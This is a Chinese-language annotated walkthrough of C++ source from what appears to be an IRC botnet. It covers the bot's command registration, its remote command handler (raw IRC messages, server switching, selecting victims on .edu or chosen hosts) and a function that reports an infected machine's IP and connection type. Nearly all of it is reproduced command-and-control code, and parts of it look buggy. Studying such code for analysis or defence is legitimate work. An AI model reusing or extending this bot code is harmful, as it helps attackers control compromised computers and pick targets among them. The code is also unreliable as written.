七、2008年3月11日
作者:青青子衿
email:[email protected]
1、CIRC 类中的 Init()成员函数
/////////////////////////////////////////////////////////////////////////////////////////////////
//
//函数功能:CIRC类的初始化函数, 为bot添加irc相关的处理函数
//参数: 无
//返回值: void
//
///////////////////////////////////////////////////////////////////////////////////////////////
void CIRC :: Init ()
{
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdDisconnect , "irc.disconnect" , "disconnects the bot from irc" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdAction , "irc.action" , "lets the bot perform an action" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdGetEdu , "irc.getedu" , "prints netinfo when the bot is .edu" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdGetHost , "irc.gethost" , "prints netinfo when host matches" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdJoin , "irc.join" , "makes the bot join a channel" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdMode , "irc.mode" , "lets the bot perform a mode change" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdNetInfo , "irc.netinfo" , "prints netinfo" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdPart , "irc.part" , "makes the bot part a channel" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdPrivMsg , "irc.privmsg" , "sends a privmsg" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdQuit , "irc.quit" , "quits the bot" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRaw , "irc.raw" , "sends a raw message to the irc server" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdReconnect , "irc.reconnect" , "reconnects to the server" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdServer , "irc.server" , "changes the server the bot connects to" , this );
}
2、 bool CIRC :: HandleCommand ( CMessage * pMsg ) 函数的处理
////////////////////////////////////////////////////////////////////////////////////
//
//函数功能:处理与irc相关的命令
//参数: CMessage *pMsg 接收到的消息
//返回值: bool 处理正确返回true,否则返回false
//
///////////////////////////////////////////////////////////////////////////////////
bool CIRC :: HandleCommand ( CMessage * pMsg )
{
if (! pMsg -> sCmd . Compare ( "irc.disconnect" ) || ! pMsg -> sCmd . Compare ( "irc.reconnect" ))
{
//处理irc.disconnect 和irc.reconnect 命令
m_iServerNum =0; //服务器序号置0
m_iFailCount =0; //连接错误数置0
m_bJoined = false ; //标识断开频道
m_bConnected = false ; //标识断开连接
xClose ( m_sSocket ); //#define xClose closesocket断开套接字
m_sSocket = INVALID_SOCKET ; //将套接字变量置NULL
g_cMainCtrl . m_cMac . ClearLogins (); //清空登录信息列表中保存的登录数据
}
else if (! pMsg -> sCmd . Compare ( "irc.quit" )) //处理退出指令
{
Disconnect (); //调用本类中的成员函数Disconnect()
g_cMainCtrl . m_bRunning = false ; //将标识bot运行状态的信息置false
}
else if (! pMsg -> sCmd . Compare ( "irc.action" )) //处理irc.action 指令:makes the bot send an action to the target
{
SendFormat ( false , false , pMsg -> sChatString . Token (1, " " ). Str (), //发送消息
"/1ACTION %s/1" , pMsg -> sChatString . Token (2, " " , true ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.netinfo" ))
{
//处理irc.netinfo 消息,causes the bot to display network information
SendFormat ( pMsg -> bSilent , pMsg -> bNotice , pMsg -> sReplyTo . Str (), "%s" , NetInfo (). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.getedu" ))
{
//处理irc.getedu指令, makes bot reply with irc.netinfo if the hostname contains .edu
if ( m_sLocalHost . Find ( ".edu" ) || m_sLocalHost . Find ( ".Edu" ) || m_sLocalHost . Find ( ".EDU" ))
{
SendFormat ( pMsg -> bSilent , pMsg -> bNotice , pMsg -> sReplyTo . Str (), "%s" , NetInfo (). CStr ());
}
}
else if (! pMsg -> sCmd . Compare ( "irc.gethost" ))
{
//处理irc.gethost指令,makes bot reply with irc.netinfo if the hostname contains the specified hostpart
if ( m_sLocalHost . Find ( pMsg -> sChatString . Token (1, " " )))
{
SendFormat ( pMsg -> bSilent , pMsg -> bNotice , pMsg -> sReplyTo . Str (), "%s" , NetInfo (). CStr ());
}
}
else if (! pMsg -> sCmd . Compare ( "irc.join" ))
{
//处理irc.join指令,makes the bot join part the specified channel
SendRawFormat ( "JOIN %s %s/r/n" , pMsg -> sChatString . Token (1, " " ). CStr (), pMsg -> sChatString . Token (2, " " ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.part" ))
{
//处理irc.part指令
SendRawFormat ( "PART %s/r/n" , pMsg -> sChatString . Token (1, " " ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.raw" ))
{
//处理irc.raw 指令,makes the bot send raw string to the server
CString sStr ;
sStr . Format ( "%s/r/n" , pMsg -> sChatString . Token (1, " " , true ). CStr ());
SendRaw ( sStr . Str ());
}
else if (! pMsg -> sCmd . Compare ( "irc.privmsg" ))
{
//处理irc.privmsg指令,makes the bot send a privmsg to the target
SendMsg ( false , false , pMsg -> sChatString . Token (2, " " , true ). Str (), pMsg -> sChatString . Token (1, " " ). Str ());
}
else if (! pMsg -> sCmd . Compare ( "irc.mode" ))
{
//处理irc.mode指令, makes the the bot change irc modes
SendRawFormat ( "MODE %s %s %s/r/n" , pMsg -> sChatString . Token (1, " " ). CStr (), pMsg -> sChatString . Token (2, " " ). CStr (), pMsg -> sChatString . Token (3, " " ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.server" ))
{
//处理irc.server 指令
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_server , pMsg -> sChatString . Token (1, " " ). CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_port , pMsg -> sChatString . Token (2, " " ). CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_servpass , pMsg -> sChatString . Token (3, " " ). CStr ());
}
return false ;
}
3、 CString CIRC :: NetInfo () 函数, 获得bot自身所在网络的,网络信息
////////////////////////////////////////////////////////////////////
//
//函数功能:获得bot自身所在网络的,网络信息
//参数: 无
//返回值: CString 用来保存获得的各种网络信息
//
////////////////////////////////////////////////////////////////////
CString CIRC :: NetInfo ()
{
CString sNetInfo ;
sockaddr sa ;
socklen_t sas ;
// get ip address
sas = sizeof ( sa );
memset (& sa , 0, sizeof ( sa ));
getsockname ( m_sSocket , & sa , & sas ); //取一个套接口的本地名字
#ifdef WIN32
// get connection type/name
unsigned long n ;
char ctype [8];
char cname [128];
memset ( cname , 0, sizeof ( cname ));
memset ( ctype , 0, sizeof ( ctype ));
HINSTANCE wininet_dll = LoadLibrary ( "WININET.DLL" );
if ( wininet_dll )
{
fInternetGetConnectedStateEx =( IGCSE ) GetProcAddress ( wininet_dll , "InternetGetConnectedStateEx" );
if (! fInternetGetConnectedStateEx )
{
fInternetGetConnectedStateEx (& n , ( char *)& cname , sizeof ( cname ), 0); //cname获得连接的名称
if ( n && INTERNET_CONNECTION_MODEM == INTERNET_CONNECTION_MODEM )
{
//检测出为拨号上网
strncpy ( ctype , "dial-up" , sizeof ( ctype )-1);
}
else
{
//使用局域网
strncpy ( ctype , "LAN" , sizeof ( ctype )-1);
}
}
else
{
//N/A网络,推测这里指的是NAT网络
strncpy ( ctype , "N/A" , sizeof ( ctype )-1);
strncpy ( cname , "N/A" , sizeof ( cname )-1);
}
}
#else
// Fixme! add connection type detection for linux
//这里可以添加linux平台上的,获得网络状况的函数
#endif // WIN32
char szIP [16];
sprintf ( szIP , "%d.%d.%d.%d" ,
( unsigned char ) sa . sa_data [2], ( unsigned char ) sa . sa_data [3], //获得Bot自身的IP地址
( unsigned char ) sa . sa_data [4], ( unsigned char ) sa . sa_data [5]);
sNetInfo . Assign ( "" );
sNetInfo . Append ( "connection type: " );
#ifdef WIN32 //如果是win平台,可以得到以下信息
sNetInfo . Append ( ctype );
sNetInfo . Append ( " (" );
sNetInfo . Append ( cname );
sNetInfo . Append ( "). " );
#else //如果是linux平台,返回结果只能告诉用户,bot在linux平台
sNetInfo . Append ( "Linux. " );
#endif // WIN32
sNetInfo . Append ( "local IP address: " ); sNetInfo . Append ( szIP ); sNetInfo . Append ( ". " );
sNetInfo . Append ( "connected from: " ); sNetInfo . Append ( m_sLocalHost ); sNetInfo . Append ( ". " );
sNetInfo . Append ( "private ip: " );
if ( IsPrivate ( szIP )) //判断是否是私有网络,通过IP地址是否是10或192或172来判断
{
sNetInfo . Append ( "yes. " );
}
else
{
sNetInfo . Append ( "no. " );
}
return sNetInfo ;
}